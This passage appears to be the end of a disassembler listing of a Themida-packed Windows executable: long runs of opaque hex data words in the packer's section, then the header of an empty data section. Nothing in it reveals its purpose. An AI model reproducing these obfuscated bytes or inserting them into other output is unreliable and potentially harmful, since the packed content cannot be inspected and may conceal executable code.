		dd 70B6797h, 0C6D89945h, 11810F4Eh, 0E9000000h,	0Ch, 0A32C2638h
		dd 59E76E71h, 6C64FC31h, 0B6D78150h, 5F51523Bh,	12E8h
		dd 0FFABF500h, 98C2B3C5h, 0C366151h, 85FF6B1Ch,	819AF4AAh
		dd 0F4130EE8h, 6E95907h, 78000000h, 0F645622Bh,	0A8EB8146h
		dd 6659FA5Ch, 0A5F8E781h, 0E9F18B66h, 8, 0B49EB158h, 0A17877h
		dd 0FE9h, 0FB29B300h, 9D2C6832h, 19ADCCD2h, 0B21E706h
		dd 34AFE081h, 10E959BBh, 0A4000000h, 640E6904h,	7D18D026h
		dd 59A6E7Ah, 8BA3A396h,	28A0FD7h, 8A000000h, 7840FC2h
		dd 56000000h, 4EE915BAh, 0D8BA5833h, 0BF66F370h, 5F56DA60h
		dd 0FBD28166h, 7E9E6h, 0DC2B0000h, 4E4D8E92h, 0FAB70F5Fh
		dd 375DBF66h, 0C8A0Fh, 7E90000h, 10000000h, 789A837Ah
		dd 0CC80116Ah, 0F606006h, 86h, 61D88B00h, 66616060h, 61C383BAh
		dd 0D7B70F61h, 8BF1B70Fh, 7CBE66FBh, 8E98Fh, 0FF7C0000h
		dd 0F78CB5ACh, 0B70F5231h, 0F38166DAh, 6E80C8Eh, 35000000h
		dd 0E417834Dh, 8E0FCBh,	59000000h, 5FB4EB9h, 78E0F53h
		dd 56000000h, 2DC68166h, 0CE9586Eh, 0D3000000h,	594E5F00h
		dd 0C224027Ah, 0E918DDD3h, 0Eh,	0C10299EFh, 9862449Eh
		dd 0DA1DA7F1h, 0BA661C29h, 66FC7BFFh, 0FF5CE8Bh, 0BB66C8B7h
		dd 8B6655E7h, 0EF8166FEh, 60605614h, 0B261FDB1h, 1AB9616Ch
		dd 516F7199h, 66616060h, 61BD11BBh, 13E95Fh, 89F60000h
		dd 0F79D9B6Dh, 0D62EC638h, 0AF936CEEh, 54B2A13Ah, 7E8ACh
		dd 33420000h, 0EAEE2C03h, 0BB666086h, 0B866D21Ah, 5B613069h
		dd 0CE9h, 6DEBBC00h, 0A3292BF5h, 0AF7C439Ch, 850F50EDh
		dd 0Ch,	6E8h, 0AE5DF800h, 5A4EE912h, 5BF5575Eh,	13E9h
		dd 4B0E0600h, 0CC5743E5h, 32B8A180h, 914A1D17h,	0A9DA9DE4h
		dd 0F945C081h, 0B70F36FAh, 0CBB1FCCBh, 0CE89B866h, 0BE9h
		dd 0B4575B00h, 0B362C19Eh, 3648C8F1h, 7B1A21B9h, 18B0F1Fh
		dd 0F8000000h, 16850Fh,	0BE80000h, 0F9000000h, 0CB608250h
		dd 0BB424A74h, 8166FA74h, 59111DC1h, 6223DF81h,	53F97FB9h
		dd 949817B9h, 0FE85A3Fh, 9000000h, 6DBF86Fh, 0C2433AC1h
		dd 6549B908h, 840F11F8h, 1, 81F858FCh, 0B35219EFh, 188B0F10h
		dd 0E9000000h, 13h, 8579F41Fh, 0C5775764h, 9C20AEFBh, 8A86646Eh
		dd 81CAC3C3h, 51A3FBD7h, 0B4DF816Dh, 0E95AC638h, 9, 0B2B5F03h
		dd 0ED1F5D1Bh, 8160F892h, 0A740E6D6h, 0CF8B6663h, 0CA816661h
		dd 0AB71EB7h, 5F5CB966h, 0F52EF8Ah, 1488h, 0FE900h, 0DE450000h
		dd 5361641Fh, 0FCBFF455h, 7C4BD77Ah, 0B8665917h, 8E8B7FCh
		dd 0F6000000h, 0A2160054h, 66498BAAh, 521AE381h, 8A5F5058h
		dd 0EF8166FDh, 0C9803C68h, 0F18B66AAh, 525AF850h, 59B5EE80h
		dd 1890Fh, 0E9F90000h, 10h, 0C6163C55h,	5534F5ECh, 981BF2Fh
		dd 856B32A4h, 0DF85CF81h, 8B662C9Bh, 14E8F2h, 0BAA30000h
		dd 9F55242Bh, 8E659A2h,	0F9B3EA7Dh, 873FE3ABh, 0D18B7577h
		dd 0BA66605Bh, 0BF0F7E32h, 575161CFh, 5B28DA80h, 0FAB70F5Fh
		dd 9E9F560h, 6A000000h,	964A70C5h, 86F1C97Ah, 0C3D38061h
		dd 0BF66CB8Ah, 8E86C4Ah, 15000000h, 12D944EBh, 0E90CE4BAh
		dd 0Dh,	0EED62EC6h, 3AAF936Ch, 0AC54B2A1h, 55BE5B38h, 8B4ED5A2h
		dd 0CE8166C1h, 816617B5h, 8B81F7DFh, 0CBBF0FCBh, 13E9h
		dd 2A9B0400h, 0FA71B77Bh, 0F2BAB8D9h, 117BBC67h, 9339E5D9h
		dd 28D08166h, 74E3804Bh, 11E860h, 0E1A30000h, 0EC076C22h
		dd 0E60A8844h, 55EE31FBh, 0B8447BA1h, 532FDA9Fh, 8166615Bh
		dd 818829CBh, 80D210C0h, 0E4DA8109h, 0F0B1ED5h,	8E9D0B7h
		dd 0D9000000h, 4D5EE187h, 8160F89Eh, 0FA4185E9h, 0C3D4802Ch
		dd 12E9h, 0B192F100h, 0F6DE0A50h, 38F3F449h, 62F659D2h
		dd 0BE9B6F22h, 1A333174h, 613020BFh, 0CBB70F40h, 605852FCh
		dd 0D2D679BEh, 0B70F570Dh, 0E96159F6h, 0Bh, 160DA97Ah
		dd 361E4195h, 0F8B2053h, 582h, 88EEBF00h, 0EDBE2328h, 0BF4F2272h
		dd 60230EFCh, 79B8DB81h, 0B8603EE3h, 5571E302h,	61FAB70Fh
		dd 0B8CAB70Fh, 7D4AEF5Ah, 3942F181h, 0CB8166E7h, 43D0A8EDh
		dd 11E9h, 9750D400h, 0F0EB4178h
		dd 4C36522h, 0A6C17A5Eh, 34BE6259h, 516B82FFh, 3850Fh
		dd 0B70F0000h, 0FBF5AF2h, 0E935933Bh, 11h, 99996497h, 0A1667E84h
		dd 423D4B26h, 0A9B39A64h, 5AFC5234h, 8B666057h,	8D0FDFh
		dd 61000000h, 0FA8B6659h, 10E9h, 6A67D000h, 0E9401566h
		dd 0A8A5E6ECh, 0EF51BEB0h, 0F8BF0F01h, 27CB80FCh, 14E9BBB2h
		dd 7B000000h, 0FD2453BAh, 9A9A1520h, 85007989h,	0B4A89935h
		dd 0E81BDE69h, 11h, 4607B67Dh, 0DB54BFDCh, 6829AE22h, 96EF108Dh
		dd 58ED8095h, 0F88B665Fh, 81D6BF0Fh, 453075CAh,	0C0BF0F13h
		dd 12E9h, 5D02DD00h, 7AB1DC60h,	0BEA5A42Ah, 0C6BC640Ch
		dd 8BDBF0BAh, 0CE9C8h, 45580000h, 0FDE56534h, 0CD196237h
		dd 0C2813650h, 60132507h, 0B1C1B70Fh, 0DA8166D1h, 0EE812B77h
		dd 10B61719h, 66C8BF0Fh, 2375DA81h, 0BF0FC68Bh,	5E9D3h
		dd 0C94C0000h, 50C388C3h, 8A5AECB5h, 80D38BCFh,	0E8534BCDh
		dd 11h,	4AA9B11Dh, 4AE1BB65h, 427B77ADh, 0AD628342h, 820FDFh
		dd 59000000h, 0DB81505Eh, 42BE0E31h, 60FC605Eh,	61C68B66h
		dd 0AE861h, 0D4380000h,	0C317B8ACh, 3148F9FEh, 7E8h, 9B607200h
		dd 0D812B786h, 0B9665F5Fh, 0E956D9B0h, 0Dh, 441502E5h
		dd 0FDAE0E53h, 0FF30B172h, 816658F0h, 8B2B4EC2h, 860F60CAh
		dd 4, 73CBBB66h, 0CE952h, 0AD250000h, 0E30CCB58h, 65E78AEh
		dd 6159162Eh, 15840Fh, 10E90000h, 0C1000000h, 1834D295h
		dd 866C13D1h, 0F266DC2h, 0F8436AF2h, 0F26419B8h, 0D18B6608h
		dd 4F80E281h, 13E963B3h, 0CA000000h, 5A13D7F2h,	795A9210h
		dd 8AAD2FF3h, 0D9CD5B8h, 8E95CEBh, 71000000h, 0E2EEF49Eh
		dd 0F099239h, 382h, 0AE48000h, 8AC78BFCh, 0FAD480EEh, 9E9h
		dd 927A4900h, 0CC05380Ch, 3DBE3FCEh, 8B06DD4Eh,	0FA8B66C7h
		dd 826ACB81h, 0EF816968h, 4D60FA8Eh, 14E851h, 0A1620000h
		dd 6287048Ah, 234E89C9h, 175FA65h, 9F403BD5h, 5E9B0E7h
		dd 8C000000h, 0FC11B410h, 8F0F5F5Ah, 0
		dd 0E870Fh, 9E90000h, 0B8000000h, 5596AF9Fh, 0BF2E61D9h
		dd 0E9D68B66h, 10h, 11B28C7Ah, 645F3632h, 0C370B4A1h, 0ECC70F21h
		dd 0FFB866F5h, 5E94Ah, 3BFB0000h, 66FC21FEh, 0D0D2E981h
		dd 0C303D881h, 0F8F55127h, 0D281E68Ah, 4220F60Bh, 9B6204BBh
		dd 8BF78B7Ch, 7E957D8h,	0E0000000h, 0C72541AAh,	0F5EFD82h
		dd 8Ch,	3FD38100h, 0F9206CE6h, 8A0F60FCh, 0
		dd 0CCB361F5h, 0FD3B70Fh, 8Fh, 0FE900h,	49890000h, 39610A95h
		dd 0BA82F257h, 7B02DB74h, 48D0F2Fh, 66000000h, 0BEA519BBh
		dd 2781333Ah, 12E9h, 9C301800h,	0A020025Eh, 0E8159E20h
		dd 975DA3B8h, 0FF9F49Fh, 386h, 0D68B6600h, 0B70FC38Bh
		dd 57F38BCBh, 12E8h, 7F66A400h,	11C49959h, 7193AEECh, 80959FFEh
		dd 5861D2D0h, 0BFE7815Bh, 0F517D83h, 986h, 3890F00h, 66000000h
		dd 0C781F18Bh, 35EAB1CCh, 57D18B66h, 0E1F02ABFh, 0EE95F45h
		dd 23000000h, 0A6AADF5Eh, 2228593Ch, 0CF10AD2Dh, 5BE38082h
		dd 830F07B1h, 3, 0FCBB70Fh, 0CD80F0BFh,	34BA662Dh, 9E89Eh
		dd 0A6E40000h, 0A800A606h, 80C62D85h, 0E85B0ADFh, 0Bh
		dd 900B02CBh, 0F21EE52Ch, 0F8F2BC3h, 289h, 5E585000h, 0F30BEAB9h
		dd 0B8BE6636h, 9E999h, 91090000h, 9F27EAA9h, 66FEFA04h
		dd 0CD9BE081h, 1860FF5h, 0F8000000h, 0B772DE80h, 0C3B55265h
		dd 9E958h, 0F41B0000h, 0CEC5B0D5h, 60C96696h, 0E90DCFBBh
		dd 0D18B6604h, 12E961h,	31530000h, 4737C856h, 0CBA81656h
		dd 9CECFFBCh, 0C3EE777Ah, 800Fh, 0C28A0000h, 18E0Fh, 0B0F90000h
		dd 0F8B9B7C6h, 0C3815E50h, 4A06ECE2h, 0A6F68166h, 0E4BE5743h
		dd 5A66D7BBh, 6E9h, 0E6218800h,	8A8D3B80h, 6CA4BFFDh, 81665B4Fh
		dd 81882EC8h, 0D7D9E1C7h, 0F7C9817Ah, 0F4E110Dh, 183h
		dd 0BA66F500h, 0F6002FEh, 280h,	505F5000h, 13E9h, 0ACAA6D00h
		dd 0F5FCB0B6h, 0C8A86DC4h, 22F4F229h, 200F4401h, 0C780615Bh
		dd 0AEBB662Ch, 3830F68h, 66000000h, 0F53D08Bh, 0FC59D8BFh
		dd 0AE9h, 8C81F800h, 5C492EE3h,	66982B1Eh, 8E9F08Bh, 0D2000000h
		dd 4ED10D52h, 0FC699FBh, 6E9D0B7h, 8F000000h, 0C76A5E74h
		dd 8D0F60C1h, 6, 8A0Fh,	57610000h, 888AC3B9h, 7E8587Fh
		dd 0DB000000h, 0BFD5AD10h, 11E8F6D7h, 0
		dd 669D98FEh, 0FD793CC6h, 8E84A9E3h, 1BB9CA0Fh,	14E9h
		dd 17CE7400h, 9CB5BC89h, 841D01EDh, 56C239B2h, 0B895075Bh
		dd 66585AC6h, 89C981h, 0A8C0Fh,	8F0F0000h, 4, 0C3F5BA66h
		dd 66F8E7B6h, 0B84FA9BAh, 3F4B3744h, 4890Fh, 8B530000h
		dd 8B6659D9h, 42E580DAh, 0F1816660h, 81668E57h,	61935BE0h
		dd 8830Fh, 81530000h, 0EB183ECBh, 8AF8584Eh, 9840FD0h
		dd 0F000000h, 38Ah, 0F2B70F00h,	77C38166h, 0AA7FB9AFh
		dd 7E916DBh, 0C5000000h, 0A9AA588h, 81669590h, 0B0B5D6E6h
		dd 0A46EBA7Ah, 0BE665AC0h, 8B660EDFh, 12E8D1h, 45920000h
		dd 65FE9726h, 799EDCD7h, 0ED7AF27Fh, 7D1197FFh,	0EE816657h
		dd 5A5F4B11h, 52D38166h, 18E0FA4h, 0FC000000h, 24B01EB0h
		dd 92F78166h, 12E9FCh, 4B4F0000h, 0A6DBE94h, 64BFAC29h
		dd 0BB6C3601h, 97AA260Eh, 13E9h, 0B0850D00h, 0A5CC6A15h
		dd 0E9396BD6h, 0C25243Bh, 5CBA9A35h, 0B344B866h, 0FBEC580h
		dd 380h, 0CE98000h, 0B9D0BF0Fh,	1C7B5AB1h, 28F781FCh, 8B79DCA7h
		dd 0F78B66DEh, 28E0Fh, 0C18B0000h, 8E9h, 7F642D00h, 670EAAF7h
		dd 5AF95088h, 0F0BF0F52h, 0E2816659h, 7E91384h,	11000000h
		dd 46F18902h, 8166AE96h, 0F7529C8h, 983h, 3810F00h, 80000000h
		dd 8B66FFC2h, 39B660C7h, 0B9BCCB81h, 0E961111Dh, 0Ch, 0C4F623B1h
		dd 198615B4h, 4E9F1129h, 10E9h,	0F31ACD00h, 0D381A906h
		dd 1FA6DF0Ah, 0BF00F3BCh, 0C6D98168h, 0F516831h, 0C88ACEB7h
		dd 0FBE6652h, 0C18B5B7Ah, 5CCAA3B8h, 5E8604Dh, 4B000000h
		dd 59B4D8C7h, 0EB8A5FFCh, 0FE961h, 52E00000h, 0AB9F54E3h
		dd 5FB91699h, 0FE0851C1h, 58C0FD0h, 50000000h, 5AC78B66h
		dd 0FCFD580h, 585h, 6E50BB00h, 0C68124D1h, 3B926006h, 6E9h
		dd 50D83300h, 0FCFE31EBh, 9810Fh, 870F0000h, 3,	8BF28B66h
		dd 8DBB66DFh, 81CE8B8Dh, 9DAA65CFh, 11E974h, 1B460000h
		dd 0C9940CCEh, 0D86AB99Bh, 534C2201h, 0E9168316h, 0Dh
		dd 2D97AB2Dh, 9A623E90h, 0F8638C01h, 0E9CE8B6Fh, 0Ah, 3E55BD92h
		dd 77007BEDh, 0E96091F4h, 0Ch, 0B9430729h, 8AAA102h, 5CD4E811h
		dd 6153C380h, 0D9BF0FFCh, 0EE9h, 6049BA00h, 27BAA708h
		dd 0D87DD66Fh, 0E986C0EAh, 5, 0AC3F8269h, 5E8F5h, 1D3B0000h
		dd 5E475186h, 60DAE280h, 0CE8h,	0DF48E700h, 0E256BB54h
		dd 95578211h, 0F3816608h, 6658746Fh, 0B56FE281h, 0E3BCBE61h
		dd 0FE8B59B3h, 3CF18166h, 6E965h, 0FDD00000h, 80F25D34h
		dd 0BB33F681h, 66536D71h, 372FF781h, 8E0FF958h,	1, 0FE8B66F8h
		dd 53FB8B66h, 0D2A3B966h, 0D981665Bh, 51560E70h, 0BE9h
		dd 0E5992800h, 4E19E5F9h, 0C68E1DB3h, 0BF66585Eh, 60601660h
		dd 0B70F6160h, 666161C0h, 81526FBEh, 39F90CF6h,	8FB8663Eh
		dd 9E96Ch, 0CF030000h, 0FEA8D33Fh, 52C32D70h, 0E642BB66h
		dd 0E8FC605Eh, 10h, 0EB4C7A7h, 67A25589h, 39F7A4ECh, 0F2DD9Dh
		dd 0CEEA8166h, 0F56159A1h, 48A0F51h, 66000000h,	596982B8h
		dd 0A820Fh, 5E90000h, 47000000h, 0A5412A99h, 0DE8h, 5D2F2300h
		dd 8659824Bh, 51028955h, 665877CBh, 6075DCB8h, 54CFEF81h
		dd 0F9617544h, 0BF0F9BB5h, 0BA83B9DEh, 8B666DF8h, 0A2DE81C3h
		dd 0B075EEB1h, 1CBA6637h, 11860F4Ah, 0E8000000h, 5, 612EEBE7h
		dd 8E0F75h, 5B000000h, 0CE8F9FCh, 0A4000000h, 0D50E4830h
		dd 0DEF66D92h, 60980B8Ah, 9E9h,	0F676E300h, 22884CB1h
		dd 8E8EBCDh, 6A000000h,	0B750342Ah, 58072DACh, 0E1805E61h
		dd 0CB8166F3h, 8166D5F0h, 0BBD3A5D8h, 9C243C9h,	8AC28B60h
		dd 8B0F61F5h, 15h, 10E9h, 11A03700h, 217341B0h,	0D63D77DFh
		dd 0DF7182F3h, 14E947h,	3A2C0000h, 9425FC00h, 0E5A94220h
		dd 41C7EAC9h, 0D20EEF58h, 0F180205Fh, 5880F42h,	0B8000000h
		dd 117FD3D2h, 0C88BF7B2h, 0BF5F3BAh, 13E91Eh, 85890000h
		dd 472AEFF4h, 0EDAF0D3h, 46B9BFD7h, 169385AEh, 0FE9C3h
		dd 160F0000h, 401AE8A7h, 4530B784h, 6D2A5D9Ch, 0E9BA60FEh
		dd 0F5370B25h, 81665061h, 58332DCAh, 0FC68B66h,	38Ch, 0FE8B6600h
		dd 28C0F60h, 60000000h,	615A5661h, 0B5D9BF0Fh, 0C3B70FE3h
		dd 38E0Fh, 8B660000h, 0DB8060C3h, 0A8F0819Fh, 612C2BB2h
		dd 0AE9h, 1B45F900h, 9B6B68C7h,	530DA023h, 0D0D78166h
		dd 816659DEh, 0E9EF88C0h, 5, 8730A947h,	0FFBF0FDEh, 93CA8166h
		dd 8E8F3h, 98DD0000h, 2C1EB732h, 13E9217Bh, 64000000h
		dd 541B94D6h, 298F0C97h, 3C2A227Fh, 9B5548FDh, 0E95EE265h
		dd 10h,	27868B69h, 0F518D86Bh, 0CB5798E8h, 905E7ACDh, 66D2B70Fh
		dd 0FCFA6CBFh, 5EE681F8h, 8B6F5BD4h, 8E0FFCC8h,	8, 28A0Fh
		dd 0CDB00000h, 13E9h, 50CC8700h, 1CC41E5Fh, 0D4638863h
		dd 0A3993E69h, 0C71D424Ch, 13E9h, 0CE886800h, 0FBB9BA3h
		dd 45665A31h, 0E01170B2h, 10998D13h, 986EB1B8h,	5810F27h
		dd 66000000h, 8891EA81h, 0E961FC60h, 11h, 6C88C62Ah, 26FFB6A5h
		dd 0AF174449h, 5BA2C1DEh, 87BE6673h, 0BBB760F6h, 61FEB70Fh
		dd 66CFBF0Fh, 0FFA79BEh, 0D8Ah,	8E900h,	45FD0000h, 118962C7h
		dd 8B661A7Fh, 99D881F3h, 0E8418472h, 0Fh, 4E586A39h, 78410BCh
		dd 3BEE3F34h, 818E36A3h, 0A0B491CFh, 820F5B09h,	2, 12E912B1h
		dd 86000000h, 0ED4646A1h, 0AFC76813h, 3BE0694Eh, 22589EADh
		dd 0C7F680BDh, 0BACEC280h, 279919D1h, 0C602C381h, 0BE92D77h
		dd 0C7000000h, 86CD1F7Dh, 39321281h, 51600842h,	8A0Fh
		dd 815B0000h, 366137E8h, 10E9611Bh, 8A000000h, 55D77416h
		dd 8A9BA460h, 2133E8C6h, 6640411Fh, 666AE5B8h, 0F860CE8Bh
		dd 99F38061h, 0CE8h, 0B0370B00h, 0F4CDF5F7h, 80D10757h
		dd 0D180563Ch, 0E85B58C7h, 0Bh,	76CEE51Ch, 0DBE2F02Bh
		dd 81C1AA60h, 0FDAB98C8h, 0FF55A04h, 38Bh, 0FA8B6600h
		dd 15C98166h, 0BEC18B11h, 2AC028C1h, 8166F98Bh,	0F500CACFh
		dd 9AE4BF66h, 0E5F2F781h, 14E951E3h, 0C2000000h, 33EEA76Ch
		dd 69E33EFh, 5B1DAE6Eh,	0ED597BC4h, 66903A1Ch, 73A4E181h
		dd 5E9F8h, 796F0000h, 0E82FD7FEh, 0Ch, 0FD7E3D0Fh, 64333D02h
		dd 0E99F6235h, 575AEA8Ah, 0F65FBE66h, 0D0816659h, 0BE8D39Eh
		dd 0E7000000h, 0ED7B7841h, 937F6036h, 0B1BAE870h, 5E336795h
		dd 1A860Fh, 60600000h, 11E961h,	0FF6B0000h, 9AF4AA85h
		dd 54839CE3h, 15D734FFh, 610AB2C7h, 12E860h, 0C5E50000h
		dd 8EE42CE1h, 0DFE50FAFh, 0DEE88B2Bh, 7F712244h, 0E95E5B52h
		dd 0Ch,	0C6404C89h, 0B4462FE6h,	62056E3Fh, 81606061h, 207E46DBh
		dd 8C0F613Ah, 3, 61DABF0Fh, 5FC78B57h, 66BADE80h, 8BC71FBAh
		dd 816660DFh, 664F09E8h, 53C7F681h, 6DBA6661h, 0FD88B17h
		dd 28Ah, 5026B600h, 665159F5h, 9992F181h, 880F59h, 8B000000h
		dd 0FE8C6h, 0E0880000h,	0A4997960h, 7479E02h, 66869841h
		dd 0F1B70F39h, 0AC1DDF59h, 2 dup(0AC1DE033h), 0F86DE033h
		dd 393h	dup(0F86D98F8h), 706D98F8h, 16h	dup(6FEEBA9Bh)
		dd 1DBBBA9Bh, 1A6h dup(1DBB6114h), 3897616Eh
		dd 3Ah dup(3897616Eh), 9F40D96Eh, 1A3h dup(9F40D925h)
		dd 2740D925h, 2A9h dup(26A42652h), 0A0A42652h, 5Bh dup(0A17D3568h)
		dd 0CCCC3568h, 9C5h dup(0CCCCCCCCh), 0CCh, 3C4h	dup(0)
Themida_	ends

; Section 5. (virtual address 001DD000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001DD000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5DD000h
		align 2000h
_idata2		ends


		end start